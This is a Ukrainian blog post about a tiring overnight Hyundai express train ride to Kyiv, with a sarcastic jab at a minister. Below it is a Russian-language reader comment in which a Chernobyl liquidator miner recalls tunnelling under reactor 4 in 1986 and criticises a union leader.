Сидіти незручно. Якщо відсунути й нахилити сидіння, тоді зручніше спині, але гірше ногам. Вони впираються у попередній ряд. Ззаду на голову тисне висока подушка сидіння. Ноги обдає потоком гарячого повітря. Спина затікає. Кожну годину змушений підніматися й розминати ноги. Довкола у неприродніх позах дрімають пасажири.

Потяг їде швидко, від 80 до 160 км/год.

На моніторах крутять кіно. Спочатку звук тихий, тоді взагалі зникає. Фільм «Максим Перепелиця» дивлюся, як німе кіно. Знаю усі діалоги, тож здогадуюся, що відбувається на екрані в даний момент.

Біля кожного вагону – по два туалети. Вони зазвичай вільні, бо люди там довго не затримуються. Гарно, чисто, вакуумне прибирання решток людського організму.

Провідниці – молоді й гарні дівчата у кремових ділових костюмах. Ввічливі, але невблаганні. Світло у вагоні вимикати не можна, звук зробити голосніше – також. Ніяких таємниць не розкривають. Вишколені.

Зробивши лише дві зупинки у Полтаві та Миргороді, о шостій ранку 11 травня потяг прибуває на старий, сірий, похмурий, але такий рідний Київський центральний вокзал.

Дай Боже здоров’я Борисові Колесникову, який закупив корейські потяги й водночас відмінив нічні електрички! Хай йому гикнеться у офісі! Хай у нього руки не болять, коли підписуватиме чергові контракти!

Втомлений Валерій СЕРДЮК

Запись была опубликована: glavred(ом) Пятница, 7 июня 2013 г. в 7:17
и размещена в разделе Статті.
Вы можете следить за ответами к этой публикации через ленту RSS 2.0.
Вы можете оставить ответ или trackback с вашего сайта.

На сообщение "ВДРУГЕ В ДОНБАСІ, ВПЕРШЕ НА «ХЮНДАЇ»" Один комментарий

  1. ШАХТЕР сказал(а):

    ДУМЫ, МОИ ДУМЫ…
    (размышления чернобыльца)

    Как-то у меня состоялась поездка на одну из встреч ликвидаторов. Поездка была долгой, в легковом авто, по «знаменитым» дорогам Украины. Водителем машины был Валера – шахтер, ликвидатор, крупный, не торопливый, обстоятельный в суждениях, человек. Я знал, что он, почти сразу после Чернобыля, стал инвалидом 3-й группы. Обычная картина для многих ликвидаторов – маленькие дети, их надо поднимать и, превозмогая все свои болячки, не секрет – на предприятиях очень не любят людей, которые часто болеют, он работал! И в отличие от других, впавших в депрессию, запивших, он не потерял присутствие духа.
    Мы с ним разговорились. Я считаю, что его воспоминания и суждения о настоящем, будут интересны и вам.
    13 июня 1986 года я находился на работе в шахте, во вторую смену, а работал я проходчиком. Звонок непосредственно в забой, меня позвали к телефону. Звонил начальник участка и приказал немедленно выезжать на-гора. На-гора нас выезжало, среди смены, три человека. Начальник был немногословен – требуются добровольцы для работы в Чернобыле по профессии. Мы выбрали лучших и предлагаем вам такую честь. Имеете право отказаться. Долго не раздумывали, и все дали свое согласие. Тут-же начальник отдела кадров выписала командировки, и в 6.00 утра следующего дня 27 добровольцев-шахтеров из региона выехали в Чернобыль. Нас там ждали. Поселили в бывшем интернате, где в течение дня прибыли шахтеры со всего СССР. В полдень этого же дня нас собрали, и перед нами выступил министр угольной промышленности СССР Щадов, который ввел нас в курс дела и поставил задачу – бить тоннели под 4-м реактором для установки охлаждающего оборудования. И вот здесь мне запомнился интересный момент, ярко показывающий отношение властей к людям. Когда он сказал, что грунт из тоннеля будет вывозится вагонетками вручную. Шахтеры заметили, что конвейер постелить будет намного удобнее. На что министр ответил – не переживайте, сколько надо будет людей, столько и будет здесь работать, страна большая! Затем всех нас разделили по сменам, которых было восемь по три часа каждая. Некоторые из нас попали на работу в этот же день. Смены были постоянными. Я попал на следующий день с 8.00 до 11.00. Возили нас на станцию в автобусах с освинцованными окнами. Подъезжая к станции, чувствовался резкий запах йода, появлялся металлический привкус во рту. Сильно першило горло. Приходилось постоянно смачивать водой, благо недостатка в ней не ощущалось. Нас подвозили к АБК, в бане мы переодевались и через 3-й блок какими-то освинцованными переходами и коридорами выходили к тыльной стороне 4-го реактора к тоннелю. Надо отметить, что у нас была четкая организация труда и быта. Нам давали таблетки йода, было хорошее питание, нас практически не выпускали из интерната, были закрыты все окна, а если мы выходили на улицу, то обязательно в «лепестках» – для не сведущих это многослойная защитная марлевая повязка на лицо. Мы были разбиты и по выполнению работ – кто бил тоннель, кто укладывал тюбинги, кто выкатывал груженые вагонетки. Сам тоннель был пробит довольно быстро, и началась главная работа – выемка грунта под 4-м реактором. Происходило это так – вручную выбиралась полоса шириной 3-4 метра кирками, отбойными молотками, лопатами, надо отметить, что грунт был довольно мягким, и это облегчало нашу задачу. Затем другими организациями устанавливались охлаждающие регистры, автоматика, датчики, заливался бетон. И так шаг за шагом. Страха не было. Но было как-то неуютно ощущать над собой громаду реактора. Поднимаешь руку, прикоснешься к бетону и ощущаешь физически его давление. Было очень жарко. Вентиляция в забое практически отсутствовала. Выручала опять-таки вода. Пили ее много, и она была только в бутылках. Менялись на рабочих местах, не теряя ни минуты. Мылись в бане в АБК и каждый раз нам выдавали новую белую робу. За те недели работы, что я там был, похудел очень сильно. С 52-го размера одежды перешел на 48-й. Моя смена была завершающей, мы закончили работу под реактором, выдали вагонетки, оставшийся цемент и ненужное оборудование. На следующий день Щадов поблагодарил с окончанием работ раньше на две недели и вручил награды. Мне достался значок «Победитель Стахановского движения». И в тот же день мы уехали домой. Надо отметить, что министр наградил всех нас путевками на море, которые мы должны получить на местах и оставил нам свой телефон на случай каких-либо проблем, а они появились, как только мы приехали домой. Никто ничего не знал, и слушать не хотел. Да оно и понятно – в разгар лета по путевкам на море ездила только элита. Пришлось звонить Щадову. И только после этого вопрос решился незамедлительно и мы с семьями уехали на море. Я с семьей отдыхал в Массандре. Отдохнули и вновь пошли на работу. Но через полгода появились резкие скачки артериального давления, появилась сильная головная боль и пошло-поехало… городская больница, областная и, очень скоро, я стал инвалидом 3-й группы.
    И вот что я хотел сейчас сказать – в последнее время появились деятели, поющие под дудку властей, типа Андреева, которые во всю пытаются доказать, что ничего не было и вы там ничего не делали. Я думаю, что Андрееву воздастся за его оскорбления в наш адрес. Я не думаю, что кто-то из нас забудет то, как он нас обзывал – лжечернобыльцы, шкурники, прихлебатели…! А что бы делал Андреев, если-бы вся страна не работала на устранении последствий аварии? А если бы были там только одни работники станции – не думаю, что результат был бы таким! Но поражает фанатизм, с каким Андреев пытается принизить наши заслуги и уничтожить дело ликвидаторов. И мне кажется, что делает это он по указанию сверху. Я думаю, что его поймали за какие-то прегрешения на крючок и теперь он спасает свою шкуру. Да и окружение его, я смотрю, прижилось, получают не заслуженные награды, сидят в теплых креслах и делают вид, что они заняты заботой о нас. Представьте себе – человек сидит в кресле руководителя «Союза Чернобыль» 10-15 лет, уютно устроился, обзавелся связями и живет прекрасно с властью. Зачем ему что-то менять? Не будет он заботиться о чернобыльцах, ведь это всегда конфликт с властьимущими, а значит угроза потери теплого местечка. Я был бы не прав, сказав, что все такие. Есть настоящие бойцы, за которыми идут люди. Но их, к сожалению, мало. Ладно, мы отвлеклись от темы.
    Как итог, я был выведен на поверхность по медицинским показателям, и спасибо руководству шахты, что с пониманием терпело мои больничные. Со временем притерпелся, продолжал болеть, появлялись новые и новые болячки, и все начиналось сначала, но у меня росли двое детей и я терпел. Доработал до пенсии. За свою работу был награжден «Шахтерской Славой» 2 и 3-й степени. И что я хочу сказать – тогда мы делали то, что надо. Ведь кто-то должен был это делать?! Выпало нам! Я думаю, что история, в конце концов, разберется в том, что все же мы были Защитниками Отечества и почему нынешняя власть так к нам относится!

    ШАХТЕР

Оставить комментарий

 

Полный анализ сайта